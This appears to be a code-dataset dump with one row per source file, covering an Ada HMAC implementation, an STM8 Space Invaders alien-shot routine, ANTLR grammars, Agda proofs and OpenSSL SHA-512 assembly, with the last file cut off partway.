max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
|---|---|---|---|---|
src/hmac_generic.adb | AntonMeep/hmac | 0 | 8036 | pragma Ada_2012;
package body HMAC_Generic is
function Initialize (Key : String) return Context is
Result : Context;
begin
Initialize (Result, Key);
return Result;
end Initialize;
function Initialize (Key : Element_Array) return Context is
Result : Context;
begin
Initialize (Result, Key);
return Result;
end Initialize;
procedure Initialize (Ctx : out Context; Key : String) is
Buffer : Element_Array (Index (Key'First) .. Index (Key'Last));
for Buffer'Address use Key'Address;
pragma Import (Ada, Buffer);
begin
Initialize (Ctx, Buffer);
end Initialize;
procedure Initialize (Ctx : out Context; Key : Element_Array) is
Block_Sized_Key : Element_Array (0 .. Block_Length - 1) := (others => 0);
begin
Ctx.Outer := Hash_Initialize;
Ctx.Inner := Hash_Initialize;
if Key'Length > Block_Length then
-- Keys longer than block size are hashed to shorten them
declare
Hash_Ctx : Hash_Context := Hash_Initialize;
begin
Hash_Update (Hash_Ctx, Key);
Block_Sized_Key (0 .. Digest_Length - 1) :=
Hash_Finalize (Hash_Ctx);
end;
else
-- Otherwise we just copy, Block_Sized_Key is already containing 0s
Block_Sized_Key (0 .. Key'Length - 1) := Key;
end if;
-- Prepare outer padded key
declare
Outer_Padded_Key : Element_Array := Block_Sized_Key;
begin
for B of Outer_Padded_Key loop
B := B xor 16#5c#;
end loop;
Hash_Update (Ctx.Outer, Outer_Padded_Key);
end;
-- Prepare inner padded key
declare
Inner_Padded_Key : Element_Array := Block_Sized_Key;
begin
for B of Inner_Padded_Key loop
B := B xor 16#36#;
end loop;
Hash_Update (Ctx.Inner, Inner_Padded_Key);
end;
end Initialize;
procedure Update (Ctx : in out Context; Input : String) is
Buffer : Element_Array (Index (Input'First) .. Index (Input'Last));
for Buffer'Address use Input'Address;
pragma Import (Ada, Buffer);
begin
Update (Ctx, Buffer);
end Update;
procedure Update (Ctx : in out Context; Input : Element_Array) is
begin
Hash_Update (Ctx.Inner, Input);
end Update;
function Finalize (Ctx : Context) return Digest is
Result : Digest;
begin
Finalize (Ctx, Result);
return Result;
end Finalize;
procedure Finalize (Ctx : Context; Output : out Digest) is
Ctx_Copy : Context := Ctx;
begin
Hash_Update (Ctx_Copy.Outer, Hash_Finalize (Ctx_Copy.Inner));
Output := Hash_Finalize (Ctx_Copy.Outer);
end Finalize;
function HMAC (Key : String; Message : String) return Digest is
Ctx : Context := Initialize (Key);
begin
Update (Ctx, Message);
return Finalize (Ctx);
end HMAC;
function HMAC (Key : Element_Array; Message : Element_Array) return Digest
is
Ctx : Context := Initialize (Key);
begin
Update (Ctx, Message);
return Finalize (Ctx);
end HMAC;
end HMAC_Generic;
|
3-mid/physics/interface/source/motor/physics-motor.adb | charlie5/lace | 20 | 18783 | <gh_stars>10-100
package body physics.Motor is
procedure dummy is begin null; end;
-- bool Motor::internal_dependsOnSolid(Solid* s)
-- {
-- return false;
-- }
--
-- bool Motor::internal_dependsOnJoint(Joint* j)
-- {
-- return false;
-- }
--
end physics.Motor;
|
extension/org.eclipse.cmf.occi.openshift/alloy/openshift_behaviour.als | occiware/occiware-openshift | 0 | 4349 | // Generated at Wed Nov 08 18:55:39 CET 2017 from by org.eclipse.cmf.occi.core.gen.alloy
// ======================================================================
//
// Dynamic Semantics for OCCI Extensions 'openshift'
//
// ======================================================================
module openshift_behaviour
open util/boolean
open OCCI
open openshift
//
// Imported extensions
//
open core
open platform
// ======================================================================
//
// OCCI kind 'http://occiware.org/openshift#ocnamespace'
//
// ======================================================================
//
// Equivalence predicate between two Ocnamespace atoms.
//
pred isoOcnamespace[o1, o2: Ocnamespace]
{
// Comment following lines when this is not the expected behaviour.
isoOcnamespace[o1, o2] // same application
}
// ======================================================================
//
// OCCI kind 'http://occiware.org/openshift#ocservicepod'
//
// ======================================================================
//
// Equivalence predicate between two Ocservicepod atoms.
//
pred isoOcservicepod[o1, o2: Ocservicepod]
{
// Comment following lines when this is not the expected behaviour.
isoOcservicepod[o1, o2] // same component
}
// ======================================================================
//
// OCCI kind 'http://occiware.org/openshift#occontainer'
//
// ======================================================================
//
// Equivalence predicate between two Occontainer atoms.
//
pred isoOccontainer[o1, o2: Occontainer]
{
// Comment following lines when this is not the expected behaviour.
isoOccontainer[o1, o2] // same component
}
// ======================================================================
//
// OCCI kind 'http://occiware.org/openshift#ocservicepodtocontainer'
//
// ======================================================================
//
// Equivalence predicate between two Ocservicepodtocontainer atoms.
//
pred isoOcservicepodtocontainer[o1, o2: Ocservicepodtocontainer]
{
// Comment following lines when this is not the expected behaviour.
isoOcservicepodtocontainer[o1, o2] // same link
}
// ======================================================================
// Check consistency, i.e., there is at least one instance of this model.
// ======================================================================
run Consistency {} for 10
|
Stm8Invaders/asm/alienshot.asm | peteri/Invaders | 0 | 95770 | stm8/
.tab 0,8,16,60
#include "variables.inc"
#include "constants.inc"
#include "alienshot.inc"
#include "timerobject.inc"
#include "player.inc"
#include "playerbase.inc"
#include "sprite.inc"
#include "attractscreen.inc"
segment 'rom'
.init_alien_shots.w
call alien_shot_plunger_init
call alien_shot_rolling_init
jp alien_shot_squigly_init
reset_shot_data.w
ld a,#4
ld (shot_blow_count_offs,x),a
ld a,#0
ld (shot_flags_offs,x),a
ld (shot_step_count_offs,x),a
ld a,(shot_sprite_offs,x)
clrw y
ld yl,a
ld a,#0
ld (sprite_visible,y),a
ld (sprite_image_offs,y),a
ret
;============================================
;
; On entry
; x = current shot
; sp+3 - othershot1
; sp+5 - othershot2
; sp+7 - address of col shot routine
;
;============================================
handle_alien_shot.w
ld a,(shot_flags_offs,x)
and a,#{1 shl shot_active}
jreq shot_not_active
jp move_shot
shot_not_active
ldw y,attract_state
cpw y,#ani_coin_pointer
jreq activate_shot
btjt game_flags_2,#flag2_alien_shot_enable,alien_shots_enabled
ret
alien_shots_enabled
ld a,#0
ld (shot_step_count_offs,x),a
ldw y,(3,sp)
ld a,(shot_step_count_offs,y)
jreq test_other_shot2
cp a,alien_shot_reload_rate
jrugt test_other_shot2
ret
test_other_shot2
ldw y,(5,sp)
ld a,(shot_step_count_offs,y)
jreq get_shot_column
cp a,alien_shot_reload_rate
jrugt get_shot_column
ret
get_shot_column
ldw y,(7,sp)
call (y) ;Get the shot column for this type of shot
clrw y
dec a
ld (5,sp),a ; Save away our result
sll a ; Figure out the x coord
sll a ; column*$10+7+refAlien_x
sll a
sll a
add a,ref_alien_x
add a,#7
exg a,yl ;Stash it
; Get which sprite we're working with
ld a,(shot_sprite_offs,x)
exg a,yl ;Put this into the index register
; now x=shot,y=sprite for shot,a=shot x coord
ld (sprite_x_offs,y),a
ld a,ref_alien_y
sub a,#$0a
ld (sprite_y_offs,y),a
ldw (3,sp),x ;save x away for later
find_alien_that_fires
clrw x
ld a,(5,sp) ;Get index back
addw x,current_player
ld a,(aliens_offs,x)
jrne found_alien_that_fires
ld a,(sprite_y_offs,y)
add a,$10
ld (sprite_y_offs,y),a
ld a,(5,sp) ;Add 11 to our index
add a,#11
ld (5,sp),a ;save index back
cp a,#55 ;Out of aliens?
jrult find_alien_that_fires
ldw x,(3,sp) ;restore x for exit
ret
found_alien_that_fires
ldw x,(3,sp) ;restore x
activate_shot
ld a,(shot_flags_offs,x)
or a,#{1 shl shot_active}
ld (shot_flags_offs,x),a
inc (shot_step_count_offs,x)
ret
;============================================
;
; Move the shot
; x=current shot
;
;============================================
move_shot.w
ld a,(shot_sprite_offs,x)
clrw y
ld yl,a
ld a,(sprite_x_offs,y)
add a,#$20
and a,#$80
cp a,vblank_status
jreq move_shot_blank_ok
ret
move_shot_blank_ok
ld a,(shot_flags_offs,x)
and a,#{1 shl shot_blowing_up}
jrne animate_shot_explosion
inc (shot_step_count_offs,x)
ld a,(sprite_image_offs,y)
inc a
cp a,#4
jrult image_no_wrap
ld a,#0
image_no_wrap
ld (sprite_image_offs,y),a
ld a,#1
ld (sprite_visible,y),a
ld a,(sprite_y_offs,y)
add a,alien_shot_delta_y
ld (sprite_y_offs,y),a
cp a,#$15
jrugt check_collision
ld a,(shot_flags_offs,x)
or a,#{1 shl shot_blowing_up}
ld (shot_flags_offs,x),a
ldw x,y
call sprite_set_image
ret
check_collision
exgw x,y
call sprite_set_image
call sprite_collided
exgw x,y
cp a,#0
jreq alien_shot_exit
ld a,(shot_flags_offs,x)
or a,#{1 shl shot_blowing_up}
ld (shot_flags_offs,x),a
ld a,(sprite_y_offs,y)
cp a,#$1e
jrult alien_shot_exit
cp a,#$27
jrugt alien_shot_exit
mov player_alive,#player_alive_blowup_one
alien_shot_exit
ret
; x= shot y=sprite
animate_shot_explosion
ld a,(shot_blow_count_offs,x)
dec a
ld (shot_blow_count_offs,x),a
cp a,#3
jreq explode_shot
cp a,#0
jrne move_shot_exit
; Get the explosion sprite
ld a,(shot_sprite_exp_offs,x)
clrw y
ld yl,a
ldw x,y
call sprite_battle_damage
ld a,#0
ld (sprite_visible,x),a
move_shot_exit
ret
explode_shot
; x=current_shot
; y=current sprite.
ld a,#0
ld (sprite_visible,y),a
exgw x,y
call sprite_battle_damage
pushw x
ld a,(shot_sprite_exp_offs,y)
clrw x
ld xl,a
popw y
;Now x=shot_sprite_exploded
; y=shot_sprite
ld a,(sprite_x_offs,y)
sub a,#2
ld (sprite_x_offs,x),a
ld a,(sprite_y_offs,y)
sub a,#2
ld (sprite_y_offs,x),a
ld a,#1
ld (sprite_visible,x),a
call sprite_set_image
ret
;============================================
;
; Plunger specific code
;
;============================================
plunger_shot_columns.w dc.b $01,$07,$01,$01,$01,$04,$0B,$01
dc.b $06,$03,$01,$01,$0B,$09,$02,$08
.alien_shot_plunger_init.w
mov {alien_plunger_shot+shot_sprite_offs},#sp_alien_plunger_shot
mov {alien_plunger_shot+shot_sprite_exp_offs},#sp_alien_plunger_exp
mov {alien_plunger_shot+shot_current_shot_col_offs},#0
ldw x,#alien_plunger_shot
call alien_shot_plunger_reset_data
ldw x,#alien_shot_plunger_action
ldw {alien_plunger_timer+timer_action_offs},x
ret
;Reset data
;destroys x register
.alien_shot_plunger_reset_data.w
ldw x,#alien_plunger_shot
call reset_shot_data
ld a,numaliens
cp a,#1
bset {alien_plunger_shot+shot_flags_offs},#plunger_shot_active
jrne more_than_one_alien
bres {alien_plunger_shot+shot_flags_offs},#plunger_shot_active
more_than_one_alien
ret
;call action
.alien_shot_plunger_action.w
btjf {alien_plunger_shot+shot_flags_offs},#plunger_shot_active,alien_shot_plunger_action_exit
ld a,shot_sync
cp a,#1
jrne alien_shot_plunger_action_exit
ldw y,#alien_plunger_shot_column
pushw y
ldw y,#alien_rolling_shot
pushw y
ldw y,#alien_squigly_shot
pushw y
ldw x,#alien_plunger_shot
call handle_alien_shot
popw y
popw y
popw y
ldw x,#alien_plunger_shot
ld a,(shot_blow_count_offs,x)
jreq alien_shot_plunger_reset_data
alien_shot_plunger_action_exit
ret
; compute shot column
; x is saved
; returns column (1 based) in acc
; y is destroyed
alien_plunger_shot_column
clrw y
ld a,{alien_plunger_shot+shot_current_shot_col_offs}
ld yl,a
inc a
cp a,#$10
jrne alien_plunger_shot_column_exit
ld a,#$00
alien_plunger_shot_column_exit
ld {alien_plunger_shot+shot_current_shot_col_offs},a
ld a,(plunger_shot_columns,y)
ret
;============================================
;
; Rolling specific code
;
;============================================
.alien_shot_rolling_init.w
mov {alien_rolling_shot+shot_sprite_offs},#sp_alien_rolling_shot
mov {alien_rolling_shot+shot_sprite_exp_offs},#sp_alien_rolling_exp
ldw x,#alien_rolling_shot
call alien_shot_rolling_reset_data
ldw x,#alien_shot_rolling_action
ldw {alien_rolling_timer+timer_action_offs},x
ret
;Reset data
.alien_shot_rolling_reset_data.w
ldw x,#alien_rolling_shot
call reset_shot_data
mov {alien_rolling_timer+timer_extra_count_offs},#2
bres {alien_rolling_shot+shot_flags_offs},#fire_shot
ret
;call action
.alien_shot_rolling_action.w
mov {alien_rolling_timer+timer_extra_count_offs},#2
btjf {alien_rolling_shot+shot_flags_offs},#fire_shot,alien_shot_action_fire
bset {alien_rolling_shot+shot_flags_offs},#fire_shot
jra alien_shot_rolling_action_exit
alien_shot_action_fire
ldw y,#alien_rolling_shot_column
pushw y
ldw y,#alien_squigly_shot
pushw y
ldw y,#alien_plunger_shot
pushw y
ldw x,#alien_rolling_shot
call handle_alien_shot
popw y
popw y
popw y
ldw x,#alien_rolling_shot
ld a,(shot_blow_count_offs,x)
jreq alien_shot_rolling_reset_data
alien_shot_rolling_action_exit
ret
; compute shot column
; x is saved
; returns column (1 based) in acc
; y is destroyed
alien_rolling_shot_column
ld a,player_base_x ;Aim at middle of player
add a,#8
pushw x
call find_column ;can we find an invader?
popw x
cp a,#$ff
jrne rolling_found ;Player is to right of stack....
ld a,#1
ret
rolling_found
cp a,#$0b ;Player is to left
jrult found_column
ld a,#$0b
ret
found_column
inc a ;Add one (for reasons)
ret
;============================================
;
; squigly specific code
; TODO Add saucer code.
;
;============================================
squigly_shot_columns.w dc.b $0B,$01,$06,$03,$01,$01,$0B
dc.b $09,$02,$08,$02,$0B,$04,$07,$0A
.alien_shot_squigly_init.w
mov {alien_squigly_shot+shot_sprite_offs},#sp_alien_squigly_shot
mov {alien_squigly_shot+shot_sprite_exp_offs},#sp_alien_squigly_exp
mov {alien_squigly_shot+shot_current_shot_col_offs},#0
ldw x,#alien_squigly_shot
call alien_shot_squigly_reset_data
ldw x,#alien_shot_squigly_action
ldw {alien_squigly_timer+timer_action_offs},x
ret
;Reset data
;destroys x register
.alien_shot_squigly_reset_data.w
ldw x,#alien_squigly_shot
call reset_shot_data
ret
;call action
.alien_shot_squigly_action.w
ld a,shot_sync
cp a,#2
jrne alien_shot_squigly_action_exit
ldw y,#alien_squigly_shot_column
pushw y
ldw y,#alien_rolling_shot
pushw y
ldw y,#alien_plunger_shot
pushw y
ldw x,#alien_squigly_shot
call handle_alien_shot
popw y
popw y
popw y
ldw x,#alien_squigly_shot
ld a,(shot_blow_count_offs,x)
jreq alien_shot_squigly_reset_data
alien_shot_squigly_action_exit
ret
; compute shot column
; x is saved
; returns column (1 based) in acc
; y is destroyed
alien_squigly_shot_column
clrw y
ld a,{alien_squigly_shot+shot_current_shot_col_offs}
ld yl,a
inc a
cp a,#$0f
jrne alien_squigly_shot_column_exit
ld a,#$00
alien_squigly_shot_column_exit
ld {alien_squigly_shot+shot_current_shot_col_offs},a
ld a,(squigly_shot_columns,y)
ret
;==============================================
;
; Stub routine
;
;==============================================
.inc_saucer_score_shot_count.w
ret
END
|
legacy/RandomAccessList/Standard/Core/Properties.agda | banacorn/numeral | 1 | 12390 | <filename>legacy/RandomAccessList/Standard/Core/Properties.agda<gh_stars>1-10
module RandomAccessList.Standard.Core.Properties where
open import BuildingBlock
open import BuildingBlock.BinaryLeafTree using (BinaryLeafTree; Node; Leaf)
open import RandomAccessList.Standard.Core
open import Data.Nat
open import Data.Nat.Etc
open import Data.Nat.Properties.Simple
open import Data.Product as Prod
open import Data.Product hiding (map)
open import Function
open import Relation.Nullary using (Dec; yes; no; ¬_)
open import Relation.Nullary.Decidable using (False; True; fromWitnessFalse)
open import Relation.Nullary.Negation using (contraposition)
open import Relation.Binary.PropositionalEquality as PropEq
using (_≡_; _≢_; refl; cong; cong₂; trans; sym; inspect)
open PropEq.≡-Reasoning
--------------------------------------------------------------------------------
-- On ⟦_⟧ and ⟦_⟧ₙ
-- identity
⟦[]⟧ₙ≡0 : ∀ {A n} → (xs : 0-1-RAL A n) → xs ≡ [] → ⟦ xs ⟧ₙ ≡ 0
⟦[]⟧ₙ≡0 ( []) p = refl
⟦[]⟧ₙ≡0 ( 0∷ xs) ()
⟦[]⟧ₙ≡0 (x 1∷ xs) ()
⟦[]⟧≡0 : ∀ {n A} → (xs : 0-1-RAL A n) → xs ≡ [] → ⟦ xs ⟧ ≡ 0
⟦[]⟧≡0 {zero } [] p = refl
⟦[]⟧≡0 {suc n} [] p = *-right-zero (2 * 2 ^ n)
⟦[]⟧≡0 ( 0∷ xs) ()
⟦[]⟧≡0 (x 1∷ xs) ()
⟦[]⟧≡⟦[]⟧ : ∀ {n A} → ⟦ [] {A} {suc n} ⟧ ≡ ⟦ [] {A} {n} ⟧
⟦[]⟧≡⟦[]⟧ {n} =
begin
(2 * 2 ^ n) * 0
≡⟨ *-right-zero (2 * 2 ^ n) ⟩
0
≡⟨ sym (*-right-zero (2 ^ n)) ⟩
2 ^ n * 0
∎
⟦0∷xs⟧≡⟦xs⟧ : ∀ {n A} → (xs : 0-1-RAL A (suc n)) → ⟦ 0∷ xs ⟧ ≡ ⟦ xs ⟧
⟦0∷xs⟧≡⟦xs⟧ {zero} xs = +-right-identity (2 * ⟦ xs ⟧ₙ)
⟦0∷xs⟧≡⟦xs⟧ {suc n} xs =
begin
2 * 2 ^ n * (2 * ⟦ xs ⟧ₙ)
≡⟨ sym (*-assoc (2 * 2 ^ n) 2 ⟦ xs ⟧ₙ) ⟩
2 * 2 ^ n * 2 * ⟦ xs ⟧ₙ
≡⟨ cong (λ x → x * ⟦ xs ⟧ₙ) (*-assoc 2 (2 ^ n) 2) ⟩
2 * (2 ^ n * 2) * ⟦ xs ⟧ₙ
≡⟨ cong (λ x → 2 * x * ⟦ xs ⟧ₙ) (*-comm (2 ^ n) 2) ⟩
(2 * (2 * 2 ^ n)) * ⟦ xs ⟧ₙ
∎
⟦0∷xs⟧≢0⇒⟦xs⟧≢0 : ∀ {n A}
→ (xs : 0-1-RAL A (suc n))
→ ⟦ 0∷ xs ⟧ ≢ 0
→ ⟦ xs ⟧ ≢ 0
⟦0∷xs⟧≢0⇒⟦xs⟧≢0 xs p = contraposition (trans (⟦0∷xs⟧≡⟦xs⟧ xs)) p
|
src/grammars/Pre_old.g4 | CorvusPrudens/Cp | 0 | 3002 | <gh_stars>0
grammar Pre;
import Corax;
parse : (directive | pre_expression)* EOF;
scope : OBRACE (variable_init | statement | label | directive)* CBRACE;
directive : define
| include
| if_pre
| ifdef
| ifndef
| else_pre
| endif
;
pre_constant : NAME | NUMBER;
pre_expression : function | variable_init | struct_;
math_pre : pre_constant (OPERATOR pre_constant)*;
define : HASH DEFINE NAME operand?;
include : HASH INCLUDE STRING;
if_pre : HASH IF (math_pre | math_pre COMPARATOR math_pre);
ifdef : HASH IFDEF NAME;
ifndef : HASH IFNDEF NAME;
else_pre : HASH ELSE;
endif : HASH ENDIF;
// lexy
HASH : '#';
DEFINE : 'define';
INCLUDE : 'include';
IF : 'if';
IFDEF : 'ifdef';
IFNDEF : 'ifndef';
ELSE : 'else';
ENDIF : 'endif';
WHITESPACE : [ \t\n\r] -> skip; |
Cubical/Data/Vec/Properties.agda | dan-iel-lee/cubical | 0 | 15955 | {-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Data.Vec.Properties where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Univalence
import Cubical.Data.Empty as ⊥
open import Cubical.Data.Nat
open import Cubical.Data.Vec.Base
open import Cubical.Data.FinData
open import Cubical.Relation.Nullary
private
variable
ℓ : Level
A : Type ℓ
-- This is really cool!
-- Compare with: https://github.com/agda/agda-stdlib/blob/master/src/Data/Vec/Properties/WithK.agda#L32
++-assoc : ∀ {m n k} (xs : Vec A m) (ys : Vec A n) (zs : Vec A k) →
PathP (λ i → Vec A (+-assoc m n k (~ i))) ((xs ++ ys) ++ zs) (xs ++ ys ++ zs)
++-assoc {m = zero} [] ys zs = refl
++-assoc {m = suc m} (x ∷ xs) ys zs i = x ∷ ++-assoc xs ys zs i
-- Equivalence between Fin n → A and Vec A n
FinVec : (A : Type ℓ) (n : ℕ) → Type ℓ
FinVec A n = Fin n → A
FinVec→Vec : {n : ℕ} → FinVec A n → Vec A n
FinVec→Vec {n = zero} xs = []
FinVec→Vec {n = suc _} xs = xs zero ∷ FinVec→Vec (λ x → xs (suc x))
Vec→FinVec : {n : ℕ} → Vec A n → FinVec A n
Vec→FinVec xs f = lookup f xs
FinVec→Vec→FinVec : {n : ℕ} (xs : FinVec A n) → Vec→FinVec (FinVec→Vec xs) ≡ xs
FinVec→Vec→FinVec {n = zero} xs = funExt λ f → ⊥.rec (¬Fin0 f)
FinVec→Vec→FinVec {n = suc n} xs = funExt goal
where
goal : (f : Fin (suc n))
→ Vec→FinVec (xs zero ∷ FinVec→Vec (λ x → xs (suc x))) f ≡ xs f
goal zero = refl
goal (suc f) i = FinVec→Vec→FinVec (λ x → xs (suc x)) i f
Vec→FinVec→Vec : {n : ℕ} (xs : Vec A n) → FinVec→Vec (Vec→FinVec xs) ≡ xs
Vec→FinVec→Vec {n = zero} [] = refl
Vec→FinVec→Vec {n = suc n} (x ∷ xs) i = x ∷ Vec→FinVec→Vec xs i
FinVecIsoVec : (n : ℕ) → Iso (FinVec A n) (Vec A n)
FinVecIsoVec n = iso FinVec→Vec Vec→FinVec Vec→FinVec→Vec FinVec→Vec→FinVec
FinVec≃Vec : (n : ℕ) → FinVec A n ≃ Vec A n
FinVec≃Vec n = isoToEquiv (FinVecIsoVec n)
FinVec≡Vec : (n : ℕ) → FinVec A n ≡ Vec A n
FinVec≡Vec n = ua (FinVec≃Vec n)
isContrVec0 : isContr (Vec A 0)
isContrVec0 = [] , λ { [] → refl }
|
trunk/win/lib/openssl-1.0.1e/tmp32/sha512-586.asm | chundonglinlin/srs.win | 9 | 6597 | <reponame>chundonglinlin/srs.win
TITLE sha512-586.asm
IF @Version LT 800
ECHO MASM version 8.00 or later is strongly recommended.
ENDIF
.686
.XMM
IF @Version LT 800
XMMWORD STRUCT 16
DQ 2 dup (?)
XMMWORD ENDS
ENDIF
.MODEL FLAT
OPTION DOTNAME
IF @Version LT 800
.text$ SEGMENT PAGE 'CODE'
ELSE
.text$ SEGMENT ALIGN(64) 'CODE'
ENDIF
;EXTERN _OPENSSL_ia32cap_P:NEAR
ALIGN 16
_sha512_block_data_order PROC PUBLIC
$L_sha512_block_data_order_begin::
push ebp
push ebx
push esi
push edi
mov esi,DWORD PTR 20[esp]
mov edi,DWORD PTR 24[esp]
mov eax,DWORD PTR 28[esp]
mov ebx,esp
call $L000pic_point
$L000pic_point:
pop ebp
lea ebp,DWORD PTR ($L001K512-$L000pic_point)[ebp]
sub esp,16
and esp,-64
shl eax,7
add eax,edi
mov DWORD PTR [esp],esi
mov DWORD PTR 4[esp],edi
mov DWORD PTR 8[esp],eax
mov DWORD PTR 12[esp],ebx
lea edx,DWORD PTR _OPENSSL_ia32cap_P
bt DWORD PTR [edx],26
jnc $L002loop_x86
movq mm0,QWORD PTR [esi]
movq mm1,QWORD PTR 8[esi]
movq mm2,QWORD PTR 16[esi]
movq mm3,QWORD PTR 24[esi]
movq mm4,QWORD PTR 32[esi]
movq mm5,QWORD PTR 40[esi]
movq mm6,QWORD PTR 48[esi]
movq mm7,QWORD PTR 56[esi]
sub esp,80
ALIGN 16
$L003loop_sse2:
movq QWORD PTR 8[esp],mm1
movq QWORD PTR 16[esp],mm2
movq QWORD PTR 24[esp],mm3
movq QWORD PTR 40[esp],mm5
movq QWORD PTR 48[esp],mm6
movq QWORD PTR 56[esp],mm7
mov ecx,DWORD PTR [edi]
mov edx,DWORD PTR 4[edi]
add edi,8
bswap ecx
bswap edx
mov DWORD PTR 76[esp],ecx
mov DWORD PTR 72[esp],edx
ALIGN 16
$L00400_14_sse2:
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
add edi,8
bswap eax
bswap ebx
mov DWORD PTR 68[esp],eax
mov DWORD PTR 64[esp],ebx
movq mm5,QWORD PTR 40[esp]
movq mm6,QWORD PTR 48[esp]
movq mm7,QWORD PTR 56[esp]
movq mm1,mm4
movq mm2,mm4
psrlq mm1,14
movq QWORD PTR 32[esp],mm4
psllq mm2,23
movq mm3,mm1
psrlq mm1,4
pxor mm3,mm2
psllq mm2,23
pxor mm3,mm1
psrlq mm1,23
pxor mm3,mm2
psllq mm2,4
pxor mm3,mm1
paddq mm7,QWORD PTR [ebp]
pxor mm3,mm2
pxor mm5,mm6
movq mm1,QWORD PTR 8[esp]
pand mm5,mm4
movq mm2,QWORD PTR 16[esp]
pxor mm5,mm6
movq mm4,QWORD PTR 24[esp]
paddq mm3,mm5
movq QWORD PTR [esp],mm0
paddq mm3,mm7
movq mm5,mm0
movq mm6,mm0
paddq mm3,QWORD PTR 72[esp]
psrlq mm5,28
paddq mm4,mm3
psllq mm6,25
movq mm7,mm5
psrlq mm5,6
pxor mm7,mm6
psllq mm6,5
pxor mm7,mm5
psrlq mm5,5
pxor mm7,mm6
psllq mm6,6
pxor mm7,mm5
sub esp,8
pxor mm7,mm6
movq mm5,mm0
por mm0,mm2
pand mm5,mm2
pand mm0,mm1
por mm5,mm0
paddq mm7,mm5
movq mm0,mm3
mov dl,BYTE PTR [ebp]
paddq mm0,mm7
add ebp,8
cmp dl,53
jne $L00400_14_sse2
movq mm5,QWORD PTR 40[esp]
movq mm6,QWORD PTR 48[esp]
movq mm7,QWORD PTR 56[esp]
movq mm1,mm4
movq mm2,mm4
psrlq mm1,14
movq QWORD PTR 32[esp],mm4
psllq mm2,23
movq mm3,mm1
psrlq mm1,4
pxor mm3,mm2
psllq mm2,23
pxor mm3,mm1
psrlq mm1,23
pxor mm3,mm2
psllq mm2,4
pxor mm3,mm1
paddq mm7,QWORD PTR [ebp]
pxor mm3,mm2
pxor mm5,mm6
movq mm1,QWORD PTR 8[esp]
pand mm5,mm4
movq mm2,QWORD PTR 16[esp]
pxor mm5,mm6
movq mm4,QWORD PTR 24[esp]
paddq mm3,mm5
movq QWORD PTR [esp],mm0
paddq mm3,mm7
movq mm5,mm0
movq mm6,mm0
paddq mm3,QWORD PTR 72[esp]
psrlq mm5,28
paddq mm4,mm3
psllq mm6,25
movq mm7,mm5
psrlq mm5,6
pxor mm7,mm6
psllq mm6,5
pxor mm7,mm5
psrlq mm5,5
pxor mm7,mm6
psllq mm6,6
pxor mm7,mm5
sub esp,8
pxor mm7,mm6
movq mm5,mm0
por mm0,mm2
movq mm6,QWORD PTR 88[esp]
pand mm5,mm2
pand mm0,mm1
movq mm2,QWORD PTR 192[esp]
por mm5,mm0
paddq mm7,mm5
movq mm0,mm3
mov dl,BYTE PTR [ebp]
paddq mm0,mm7
add ebp,8
ALIGN 16
$L00516_79_sse2:
movq mm1,mm2
psrlq mm2,1
movq mm7,mm6
psrlq mm6,6
movq mm3,mm2
psrlq mm2,6
movq mm5,mm6
psrlq mm6,13
pxor mm3,mm2
psrlq mm2,1
pxor mm5,mm6
psrlq mm6,42
pxor mm3,mm2
movq mm2,QWORD PTR 200[esp]
psllq mm1,56
pxor mm5,mm6
psllq mm7,3
pxor mm3,mm1
paddq mm2,QWORD PTR 128[esp]
psllq mm1,7
pxor mm5,mm7
psllq mm7,42
pxor mm3,mm1
pxor mm5,mm7
paddq mm3,mm5
paddq mm3,mm2
movq QWORD PTR 72[esp],mm3
movq mm5,QWORD PTR 40[esp]
movq mm6,QWORD PTR 48[esp]
movq mm7,QWORD PTR 56[esp]
movq mm1,mm4
movq mm2,mm4
psrlq mm1,14
movq QWORD PTR 32[esp],mm4
psllq mm2,23
movq mm3,mm1
psrlq mm1,4
pxor mm3,mm2
psllq mm2,23
pxor mm3,mm1
psrlq mm1,23
pxor mm3,mm2
psllq mm2,4
pxor mm3,mm1
paddq mm7,QWORD PTR [ebp]
pxor mm3,mm2
pxor mm5,mm6
movq mm1,QWORD PTR 8[esp]
pand mm5,mm4
movq mm2,QWORD PTR 16[esp]
pxor mm5,mm6
movq mm4,QWORD PTR 24[esp]
paddq mm3,mm5
movq QWORD PTR [esp],mm0
paddq mm3,mm7
movq mm5,mm0
movq mm6,mm0
paddq mm3,QWORD PTR 72[esp]
psrlq mm5,28
paddq mm4,mm3
psllq mm6,25
movq mm7,mm5
psrlq mm5,6
pxor mm7,mm6
psllq mm6,5
pxor mm7,mm5
psrlq mm5,5
pxor mm7,mm6
psllq mm6,6
pxor mm7,mm5
sub esp,8
pxor mm7,mm6
movq mm5,mm0
por mm0,mm2
movq mm6,QWORD PTR 88[esp]
pand mm5,mm2
pand mm0,mm1
movq mm2,QWORD PTR 192[esp]
por mm5,mm0
paddq mm7,mm5
movq mm0,mm3
mov dl,BYTE PTR [ebp]
paddq mm0,mm7
add ebp,8
cmp dl,23
jne $L00516_79_sse2
movq mm1,QWORD PTR 8[esp]
movq mm2,QWORD PTR 16[esp]
movq mm3,QWORD PTR 24[esp]
movq mm5,QWORD PTR 40[esp]
movq mm6,QWORD PTR 48[esp]
movq mm7,QWORD PTR 56[esp]
paddq mm0,QWORD PTR [esi]
paddq mm1,QWORD PTR 8[esi]
paddq mm2,QWORD PTR 16[esi]
paddq mm3,QWORD PTR 24[esi]
paddq mm4,QWORD PTR 32[esi]
paddq mm5,QWORD PTR 40[esi]
paddq mm6,QWORD PTR 48[esi]
paddq mm7,QWORD PTR 56[esi]
movq QWORD PTR [esi],mm0
movq QWORD PTR 8[esi],mm1
movq QWORD PTR 16[esi],mm2
movq QWORD PTR 24[esi],mm3
movq QWORD PTR 32[esi],mm4
movq QWORD PTR 40[esi],mm5
movq QWORD PTR 48[esi],mm6
movq QWORD PTR 56[esi],mm7
add esp,640
sub ebp,640
cmp edi,DWORD PTR 88[esp]
jb $L003loop_sse2
emms
mov esp,DWORD PTR 92[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 16
$L002loop_x86:
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
mov ecx,DWORD PTR 8[edi]
mov edx,DWORD PTR 12[edi]
bswap eax
bswap ebx
bswap ecx
